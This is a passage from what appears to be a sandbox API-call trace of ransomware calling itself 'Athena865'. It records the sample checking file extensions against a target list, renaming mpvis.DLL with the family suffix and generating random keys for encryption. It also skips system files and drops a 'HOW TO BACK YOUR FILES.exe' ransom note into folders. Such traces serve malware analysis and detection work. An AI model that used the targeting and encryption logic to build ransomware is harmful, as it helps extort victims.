(lpString1="DLL", lpString2="ddl") returned 1 [0040.431] lstrlenW (lpString="dlis") returned 4 [0040.431] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0040.431] lstrlenW (lpString="dp1") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0040.431] lstrlenW (lpString="dqy") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0040.431] lstrlenW (lpString="dsk") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0040.431] lstrlenW (lpString="dsn") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0040.431] lstrlenW (lpString="dtsx") returned 4 [0040.431] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0040.431] lstrlenW (lpString="dxl") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0040.431] lstrlenW (lpString="eco") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0040.431] lstrlenW (lpString="ecx") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0040.431] lstrlenW (lpString="edb") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0040.431] lstrlenW (lpString="epim") returned 4 [0040.431] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0040.431] lstrlenW (lpString="fcd") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0040.431] lstrlenW (lpString="fdb") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0040.431] lstrlenW (lpString="fic") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0040.431] lstrlenW (lpString="flexolibrary") returned 12 [0040.431] lstrlenW (lpString="fm5") returned 3 [0040.431] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0040.431] lstrlenW (lpString="fmp") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0040.432] lstrlenW (lpString="fmp12") returned 5 [0040.432] lstrcmpiW (lpString1="s.DLL", lpString2="fmp12") returned 1 [0040.432] lstrlenW (lpString="fmpsl") returned 5 [0040.432] lstrcmpiW (lpString1="s.DLL", lpString2="fmpsl") returned 1 [0040.432] lstrlenW (lpString="fol") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0040.432] lstrlenW (lpString="fp3") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0040.432] lstrlenW (lpString="fp4") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0040.432] lstrlenW (lpString="fp5") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0040.432] lstrlenW (lpString="fp7") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0040.432] lstrlenW (lpString="fpt") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0040.432] lstrlenW (lpString="frm") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0040.432] lstrlenW (lpString="gdb") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0040.432] lstrlenW (lpString="gdb") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0040.432] lstrlenW (lpString="grdb") returned 4 [0040.432] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0040.432] lstrlenW (lpString="gwi") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0040.432] lstrlenW (lpString="hdb") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0040.432] lstrlenW (lpString="his") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0040.432] lstrlenW (lpString="ib") returned 2 [0040.432] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0040.432] lstrlenW (lpString="idb") returned 3 [0040.432] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0040.432] lstrlenW (lpString="ihx") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0040.433] lstrlenW (lpString="itdb") returned 4 [0040.433] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0040.433] lstrlenW (lpString="itw") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0040.433] lstrlenW (lpString="jet") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0040.433] lstrlenW (lpString="jtx") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0040.433] lstrlenW (lpString="kdb") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0040.433] lstrlenW (lpString="kexi") returned 4 [0040.433] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0040.433] lstrlenW (lpString="kexic") returned 5 [0040.433] lstrcmpiW (lpString1="s.DLL", lpString2="kexic") returned 1 [0040.433] lstrlenW (lpString="kexis") returned 5 [0040.433] lstrcmpiW (lpString1="s.DLL", lpString2="kexis") returned 1 [0040.433] lstrlenW (lpString="lgc") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0040.433] lstrlenW (lpString="lwx") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0040.433] lstrlenW (lpString="maf") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0040.433] lstrlenW (lpString="maq") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0040.433] lstrlenW (lpString="mar") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0040.433] lstrlenW (lpString="marshal") returned 7 [0040.433] lstrcmpiW (lpString1="vis.DLL", lpString2="marshal") returned 1 [0040.433] lstrlenW (lpString="mas") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0040.433] lstrlenW (lpString="mav") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0040.433] lstrlenW (lpString="maw") returned 3 [0040.433] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0040.433] lstrlenW (lpString="mdbhtml") returned 7 [0040.433] lstrcmpiW (lpString1="vis.DLL", lpString2="mdbhtml") returned 1 [0040.434] lstrlenW (lpString="mdn") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0040.434] lstrlenW (lpString="mdt") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0040.434] lstrlenW (lpString="mfd") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0040.434] lstrlenW (lpString="mpd") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0040.434] lstrlenW (lpString="mrg") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0040.434] lstrlenW (lpString="mud") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0040.434] lstrlenW (lpString="mwb") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0040.434] lstrlenW (lpString="myd") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0040.434] lstrlenW (lpString="ndf") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0040.434] lstrlenW (lpString="nnt") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0040.434] lstrlenW (lpString="nrmlib") returned 6 [0040.434] lstrcmpiW (lpString1="is.DLL", lpString2="nrmlib") returned -1 [0040.434] lstrlenW (lpString="ns2") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0040.434] lstrlenW (lpString="ns3") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0040.434] lstrlenW (lpString="ns4") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0040.434] lstrlenW (lpString="nsf") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0040.434] lstrlenW (lpString="nv") returned 2 [0040.434] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0040.434] lstrlenW (lpString="nv2") returned 3 [0040.434] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0040.435] lstrlenW (lpString="nwdb") returned 4 [0040.435] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0040.435] lstrlenW (lpString="nyf") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0040.435] lstrlenW (lpString="odb") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0040.435] lstrlenW (lpString="odb") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0040.435] lstrlenW (lpString="oqy") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0040.435] lstrlenW (lpString="ora") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0040.435] lstrlenW (lpString="orx") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0040.435] lstrlenW (lpString="owc") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0040.435] lstrlenW (lpString="p96") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0040.435] lstrlenW (lpString="p97") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0040.435] lstrlenW (lpString="pan") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0040.435] lstrlenW (lpString="pdb") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0040.435] lstrlenW (lpString="pdm") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0040.435] lstrlenW (lpString="pnz") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0040.435] lstrlenW (lpString="qry") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0040.435] lstrlenW (lpString="qvd") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0040.435] lstrlenW (lpString="rbf") returned 3 [0040.435] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0040.435] lstrlenW (lpString="rctd") returned 4 [0040.436] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0040.436] lstrlenW (lpString="rod") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0040.436] lstrlenW (lpString="rodx") returned 4 [0040.436] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0040.436] lstrlenW (lpString="rpd") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0040.436] lstrlenW (lpString="rsd") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0040.436] lstrlenW (lpString="sas7bdat") returned 8 [0040.436] lstrcmpiW (lpString1="pvis.DLL", lpString2="sas7bdat") returned -1 [0040.436] lstrlenW (lpString="sbf") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0040.436] lstrlenW (lpString="scx") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0040.436] lstrlenW (lpString="sdb") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0040.436] lstrlenW (lpString="sdc") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0040.436] lstrlenW (lpString="sdf") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0040.436] lstrlenW (lpString="sis") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0040.436] lstrlenW (lpString="spq") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0040.436] lstrlenW (lpString="te") returned 2 [0040.436] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0040.436] lstrlenW (lpString="teacher") returned 7 [0040.436] lstrcmpiW (lpString1="vis.DLL", lpString2="teacher") returned 1 [0040.436] lstrlenW (lpString="tmd") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0040.436] lstrlenW (lpString="tps") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0040.436] lstrlenW (lpString="trc") returned 3 [0040.436] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0040.437] lstrlenW (lpString="trc") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0040.437] lstrlenW (lpString="trm") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0040.437] lstrlenW (lpString="udb") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0040.437] lstrlenW (lpString="udl") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0040.437] lstrlenW (lpString="usr") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0040.437] lstrlenW (lpString="v12") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0040.437] lstrlenW (lpString="vis") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0040.437] lstrlenW (lpString="vpd") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0040.437] lstrlenW (lpString="vvv") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0040.437] lstrlenW (lpString="wdb") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0040.437] lstrlenW (lpString="wmdb") returned 4 [0040.437] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0040.437] lstrlenW (lpString="wrk") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0040.437] lstrlenW (lpString="xdb") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0040.437] lstrlenW (lpString="xld") returned 3 [0040.437] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0040.437] lstrlenW (lpString="xmlff") returned 5 [0040.437] lstrcmpiW (lpString1="s.DLL", lpString2="xmlff") returned -1 [0040.437] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\mpvis.DLL.Athena865") returned 57 [0040.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\mpvis.DLL" (normalized: "c:\\program files\\windows media player\\mpvis.dll"), lpNewFileName="C:\\Program Files\\Windows Media Player\\mpvis.DLL.Athena865" (normalized: "c:\\program files\\windows media player\\mpvis.dll.athena865"), dwFlags=0x1) returned 1 [0040.438] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\mpvis.DLL.Athena865" (normalized: "c:\\program files\\windows media player\\mpvis.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.438] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=293376) returned 1 [0040.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.439] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.439] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.439] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.439] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47d00, lpName=0x0) returned 0x154 [0040.441] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47d00) returned 0x1f0000 [0040.454] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.455] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.455] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0040.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0040.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.455] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0040.458] CloseHandle (hObject=0x154) returned 1 [0040.458] CloseHandle (hObject=0x17c) returned 1 [0040.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.463] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0040.463] lstrcmpiW (lpString1="Network Sharing", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2=".") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="..") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="windows") returned -1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="bootmgr") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="temp") returned -1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="pagefile.sys") returned -1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="boot") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="ids.txt") returned 1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="ntuser.dat") returned -1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="perflogs") returned -1 [0040.464] lstrcmpiW (lpString1="Network Sharing", lpString2="MSBuild") returned 1 [0040.464] lstrlenW (lpString="Network Sharing") returned 15 [0040.464] lstrcpyW (in: lpString1=0x241e894, lpString2="Network Sharing" | out: lpString1="Network Sharing") returned="Network Sharing" [0040.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7d8 [0040.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d228 [0040.464] lstrcatW (in: lpString1="Network Sharing", lpString2="\\" | out: lpString1="Network Sharing\\") returned="Network Sharing\\" [0040.464] lstrcatW (in: lpString1="Network Sharing\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network Sharing\\HOW TO BACK YOUR FILES.exe") returned="Network Sharing\\HOW TO BACK YOUR FILES.exe" [0040.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\network sharing\\how to back your files.exe"), bFailIfExists=1) returned 1 [0040.468] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="windows") returned -1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="bootmgr") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="temp") returned -1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="pagefile.sys") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="boot") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="ids.txt") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="ntuser.dat") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="perflogs") returned 1 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2="MSBuild") returned 1 [0040.468] lstrlenW (lpString="setup_wm.exe") returned 12 [0040.468] lstrcpyW (in: lpString1=0x241e894, lpString2="setup_wm.exe" | out: lpString1="setup_wm.exe") returned="setup_wm.exe" [0040.468] lstrlenW (lpString="setup_wm.exe") returned 12 [0040.468] lstrlenW (lpString="Athena865") returned 9 [0040.468] lstrcmpiW (lpString1="up_wm.exe", lpString2="Athena865") returned 1 [0040.468] lstrlenW (lpString=".dll") returned 4 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".dll") returned 1 [0040.468] lstrlenW (lpString=".lnk") returned 4 [0040.468] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".lnk") returned 1 [0040.468] lstrlenW (lpString=".ini") returned 4 [0040.469] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".ini") returned 1 [0040.469] lstrlenW (lpString=".sys") returned 4 [0040.469] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".sys") returned 1 [0040.469] lstrlenW (lpString="setup_wm.exe") returned 12 [0040.469] lstrlenW (lpString="bak") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0040.469] lstrlenW (lpString="ba_") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0040.469] lstrlenW (lpString="dbb") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0040.469] lstrlenW (lpString="vmdk") returned 4 [0040.469] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0040.469] lstrlenW (lpString="rar") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0040.469] lstrlenW (lpString="zip") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0040.469] lstrlenW (lpString="tgz") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0040.469] lstrlenW (lpString="vbox") returned 4 [0040.469] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0040.469] lstrlenW (lpString="vdi") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0040.469] lstrlenW (lpString="vhd") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0040.469] lstrlenW (lpString="vhdx") returned 4 [0040.469] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0040.469] lstrlenW (lpString="avhd") returned 4 [0040.469] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0040.469] lstrlenW (lpString="db") returned 2 [0040.469] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0040.469] lstrlenW (lpString="db2") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0040.469] lstrlenW (lpString="db3") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0040.469] lstrlenW (lpString="dbf") returned 3 [0040.469] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0040.470] lstrlenW (lpString="mdf") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0040.470] lstrlenW (lpString="mdb") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0040.470] lstrlenW (lpString="sql") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0040.470] lstrlenW (lpString="sqlite") returned 6 [0040.470] lstrcmpiW (lpString1="wm.exe", lpString2="sqlite") returned 1 [0040.470] lstrlenW (lpString="sqlite3") returned 7 [0040.470] lstrcmpiW (lpString1="_wm.exe", lpString2="sqlite3") returned -1 [0040.470] lstrlenW (lpString="sqlitedb") returned 8 [0040.470] lstrcmpiW (lpString1="p_wm.exe", lpString2="sqlitedb") returned -1 [0040.470] lstrlenW (lpString="xml") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0040.470] lstrlenW (lpString="$er") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0040.470] lstrlenW (lpString="4dd") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0040.470] lstrlenW (lpString="4dl") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0040.470] lstrlenW (lpString="^^^") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0040.470] lstrlenW (lpString="abs") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0040.470] lstrlenW (lpString="abx") returned 3 [0040.470] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0040.470] lstrlenW (lpString="accdb") returned 5 [0040.470] lstrcmpiW (lpString1="m.exe", lpString2="accdb") returned 1 [0040.470] lstrlenW (lpString="accdc") returned 5 [0040.470] lstrcmpiW (lpString1="m.exe", lpString2="accdc") returned 1 [0040.470] lstrlenW (lpString="accde") returned 5 [0040.470] lstrcmpiW (lpString1="m.exe", lpString2="accde") returned 1 [0040.470] lstrlenW (lpString="accdr") returned 5 [0040.470] lstrcmpiW (lpString1="m.exe", lpString2="accdr") returned 1 [0040.470] lstrlenW (lpString="accdt") returned 5 [0040.470] lstrcmpiW (lpString1="m.exe", lpString2="accdt") returned 1 [0040.471] lstrlenW (lpString="accdw") returned 5 [0040.471] lstrcmpiW (lpString1="m.exe", lpString2="accdw") returned 1 [0040.471] lstrlenW (lpString="accft") returned 5 [0040.471] lstrcmpiW (lpString1="m.exe", 